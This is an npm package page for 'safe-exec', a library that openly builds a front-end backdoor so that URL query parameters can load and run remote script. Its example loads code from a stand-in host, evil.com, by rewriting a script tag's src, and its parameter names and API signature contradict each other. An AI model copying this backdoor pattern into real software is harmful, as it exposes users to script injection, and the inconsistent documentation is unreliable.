0.1.8 • Published 8 years ago

safe-exec v0.1.8

Weekly downloads
2
License
MIT
Repository
github
Last release
8 years ago

safe-exec

Build Status npm Bower

Controlled remote code execution. Great for debugging on a live server. Extremely dangerous for everything else.

Uses RSA key pairs.

Installation

Via npm:

npm install safe-exec

Via Bower:

bower install safe-exec

Test

make test

Example

Visit page with very some specific query parameters:

  • publicKey - plain text passphrase. WARNING: Persisted in session.
  • message - optional value of any kind.
http://example.com?privateKey=foobar&message=http://evil.com/intent.js

Then somewhere in your code:

const success = (message) => {
  let victim = document.querySelector('script[src="foobar.js"]');

  victim.setAttribute('src', message);
};

const failure = (error) => {
  console.log(error);
};

exec(location.search, 'somereallylongcipher', sessionStorage, success, failure);

FAQ

Wow this is a great idea! Should I use this in production?

You should never use this in a production environment. This library creates an intentional backdoor for your front-end, which is a huge security risk.

Why would you intentionally build a backdoor?

This is useful for environments that are difficult replicate on your local machine. It helps to speed up development and debugging.

API

exec(search, publicKey, sessionStorage, cb) boolean

Executes code if a valid public/private key pair is present.

  • search - should just be window.location.search.
  • publicKey - any valid RSA public key.
  • sessionStorage - pass a reference to DOM sessionStorage to persist execution across session.
  • success - callback message => where code execution is defined.
  • error - callback error => giving the object where the error occurred.

Returns true on success and false on failure.

License

MIT


pori.io  ·  GitHub @pori  ·  Twitter @pori_alex

0.1.8

8 years ago

0.1.7

8 years ago

0.1.6

8 years ago

0.1.5

8 years ago

0.1.4

8 years ago

0.1.3

8 years ago

0.1.2

8 years ago

0.1.1

8 years ago

0.1.0

8 years ago